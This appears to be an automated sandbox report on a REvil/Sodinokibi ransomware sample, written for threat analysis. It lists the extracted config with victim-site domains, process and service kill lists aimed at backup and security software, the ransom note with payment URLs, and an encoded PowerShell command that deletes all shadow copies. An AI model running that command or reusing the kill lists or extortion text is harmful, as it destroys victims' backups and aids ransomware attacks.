Analysis
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max time kernel
145s -
max time network
163s -
platform
windows10-2004_x64 -
resource
win10v2004-20240226-en -
resource tags
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submitted
08-03-2024 13:45
General
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Target
2024-03-08_f59e62a0a8826d18e2e97524c616964e_revil.exe
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Size
123KB
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MD5
f59e62a0a8826d18e2e97524c616964e
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SHA1
c30af7c6efd3fb0fe9c4db8628803b28a3203ea1
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SHA256
83f66a577c072841e58cd4e7b0b4df7beda619766a2b820db01d6968975bfb69
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SHA512
b71352a89504b037c033fdf1a2dcb4b558571dbecf52f50ce4c25b2a9b4ba9e403de3b5449ca7f7c72578cfe64f26baf586fdf9e4848c0f1728853e9100ff9b4
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SSDEEP
1536:7DvcP3nThpshPVs5OE8yNcYQp+2ZZICS4AIjnBR561lQVMr3IgmffEbjQFOxi:yEFVhaNcYM8gnBR5uiV1UvQFOxi
Malware Config
Extracted
sodinokibi
$2a$10$CtL6MpBCOZZcR.aRU3GXp.pcFtg0joF6uPmmrKY0hC0o.x.alLtZ.
4085
sandd.nl
digivod.de
southeasternacademyofprosthodontics.org
resortmtn.com
mdk-mediadesign.de
tetinfo.in
fayrecreations.com
ecpmedia.vn
physiofischer.de
highlinesouthasc.com
antenanavi.com
blog.solutionsarchitect.guru
deepsouthclothingcompany.com
coursio.com
quickyfunds.com
atmos-show.com
pawsuppetlovers.com
hokagestore.com
midmohandyman.com
mmgdouai.fr
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net
true
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pid
$2a$10$CtL6MpBCOZZcR.aRU3GXp.pcFtg0joF6uPmmrKY0hC0o.x.alLtZ.
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prc
sqbcoreservice
dbsnmp
mydesktopservice
outlook
ocomm
excel
mydesktopqos
isqlplussvc
onenote
tbirdconfig
msaccess
encsvc
infopath
steam
thebat
agntsvc
sql
visio
wordpad
winword
dbeng50
powerpnt
firefox
xfssvccon
mspub
oracle
thunderbird
ocssd
synctime
ocautoupds
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ransom_oneliner
All of your files are encrypted! Find {EXT}-readme.txt and follow instuctions
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ransom_template
---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your system has extension {EXT}. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practice - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/{UID} 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/{UID} Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: {KEY} ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damage of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!
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sub
4085
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svc
memtas
mepocs
backup
sophos
sql
svc$
veeam
vss
Extracted
C:\Recovery\oxk80e5r-readme.txt
sodinokibi
http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/88A7804D48D8E05F
http://decryptor.cc/88A7804D48D8E05F
Signatures
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Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
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Adds Run key to start application 2 TTPs 1 IoCs
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Enumerates connected drives 3 TTPs 25 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
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Sets desktop wallpaper using registry 2 TTPs 1 IoCs
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Drops file in Program Files directory 40 IoCs
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Suspicious behavior: EnumeratesProcesses 5 IoCs
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Suspicious use of AdjustPrivilegeToken 6 IoCs
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Suspicious use of WriteProcessMemory 2 IoCs
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Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
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C:\Users\Admin\AppData\Local\Temp\2024-03-08_f59e62a0a8826d18e2e97524c616964e_revil.exe"C:\Users\Admin\AppData\Local\Temp\2024-03-08_f59e62a0a8826d18e2e97524c616964e_revil.exe"1⤵
- Adds Run key to start application
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
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C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=3804 --field-trial-handle=2264,i,15001568551143786084,90255922961447677,262144 --variations-seed-version /prefetch:81⤵
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
6KB
MD5db311d67c7964cb4c774b67d0285bb6a
SHA17f710b4e988ec5b0986f48737688d3396c055ca2
SHA25632facbf003b7b4832fc47049452b2a386eba0b2f3813bd026d76cfff7db63946
SHA512ffcc8dd1982c26f56b14bce389555c22efa9a2b5db09e60693e0f27d9827608d561c6692027acf1200938c9a7bb1badc9d5dd148836941b3c1f40b55bdf98402
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
136KB
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Filesize
10.8MB
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Filesize
64KB
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Filesize
64KB
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Filesize
10.8MB
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Filesize
136KB
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Filesize
136KB